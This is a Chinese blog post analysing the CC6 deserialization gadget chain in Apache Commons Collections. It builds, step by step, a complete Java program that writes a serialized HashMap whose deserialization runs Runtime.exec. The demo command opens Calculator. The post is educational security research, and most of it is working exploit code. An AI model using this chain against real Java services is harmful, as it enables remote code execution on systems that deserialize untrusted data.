CC6利用链分析

CC6利用链分析

相比较于cc1,cc6主要用的多一点的原因就是兼容高版本jdk。

在前面的cc1中的LazyMap链分析中已经看到了,如果想要通过LazyMap来利用cc1,那么我们需要关注的就是get方法的调用位置,于是遍历以后发现在TiedMapEntry类中的getValue就使用到了get方法:

    /**
     * Gets the value of this entry direct from the map.
     * 
     * @return the value
     */
    public Object getValue() {
        return map.get(key);
    }

并且这里的map值是可控的,所以,我们可以得到一个新的链子:

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"open /System/Applications/Calculator.app"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");
        tiedMapEntry.getValue();
    }
}

然后继续分析这里发现在TideMapEntry中的hashcode方法还调用了getValue:

    /**
     * Gets a hashCode compatible with the equals method.
     * <p>
     * Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
     * 
     * @return a suitable hash code
     */
    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

也就是说这里直接调用hashcode方法,一样可以触发到LazyMap的get方法:

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"open /System/Applications/Calculator.app"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");
        tiedMapEntry.hashCode();
    }
}

然后分析过URLDNS链的话,在这里就会比较敏感了,因为在HashMap的put方法里面会调用hash方法,并且key值可控:

		/**
     * Associates the specified value with the specified key in this map.
     * If the map previously contained a mapping for the key, the old
     * value is replaced.
     *
     * @param key key with which the specified value is to be associated
     * @param value value to be associated with the specified key
     * @return the previous value associated with <tt>key</tt>, or
     *         <tt>null</tt> if there was no mapping for <tt>key</tt>.
     *         (A <tt>null</tt> return can also indicate that the map
     *         previously associated <tt>null</tt> with <tt>key</tt>.)
     */
    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

然后,在这个hash方法中会调用key的hashcode方法:

 static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

所以这里修改一下我们的链子:

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"open /System/Applications/Calculator.app"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry,123);
    }
}

然后还是同样的方法,我们尝试反序列化,需要找到一个重写了readObject并且还利用了hash方法的类,实际上HashMap的readobject就能实现:

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"open /System/Applications/Calculator.app"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


        Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry,123);
        serialize(hashMap);
//        unserialize();


    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
        outputStream.close();
    }
    public static void unserialize() throws Exception{
        ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
        Object obj = inputStream.readObject();
        inputStream.close();
    }

}

但是到这里一步大家会发现,这里由于在序列化的时候本地执行了命令,所以,在反序列化的时候是失败的。所以这里我们要想个办法让其在序列化之前不执行命令,那么就需要将Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), chainedTransformer);中的chaineTransformer先替换掉。然后在反序列化之前再修改过来,这里可以通过new ConstantTransformer(1)来替换。因为在ConstantTransformer中,通过transform方法会返回自身:

    /**
     * Transforms the input by ignoring it and returning the stored constant instead.
     * 
     * @param input  the input object which is ignored
     * @return the stored constant
     */
    public Object transform(Object input) {
        return iConstant;
    }

所以,修改以后的链子如下:

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"open /System/Applications/Calculator.app"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry,123);
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(decorate,chainedTransformer);

        serialize(hashMap);
//        unserialize();


    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
        outputStream.close();
    }
    public static void unserialize() throws Exception{
        ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
        Object obj = inputStream.readObject();
        inputStream.close();
    }

}

这里在反序列话的时候还是失败,所以调试的时候终于发现了问题,这里因为表达式为true,所以会直接跳出,并且这里的key值已经为12了:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yCUl53uz-1660883653803)(/Users/kento/Library/Application Support/typora-user-images/image-20220819122923400.png)]

所以这里,我们需要在序列化之前删掉key值,最后完整的payload如下:

package sec;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"open /System/Applications/Calculator.app"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


        Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry,123);
        decorate.remove("12");
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(decorate,chainedTransformer);

        serialize(hashMap);
//        unserialize();


    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
        outputStream.close();
    }
    public static void unserialize() throws Exception{
        ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
        Object obj = inputStream.readObject();
        inputStream.close();
    }

}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值